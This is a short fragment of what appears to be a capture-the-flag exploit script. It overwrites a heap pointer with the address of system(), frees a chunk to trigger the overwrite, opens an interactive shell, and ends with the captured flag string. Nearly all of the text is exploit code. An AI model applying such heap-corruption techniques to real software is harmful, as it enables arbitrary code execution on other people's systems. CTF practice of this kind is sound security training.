system = 0x4007d0
allocate(0x50, "a" * 0xe + p64(system))
free(4)
r.interactive()

FLAG{FASTER~~~~}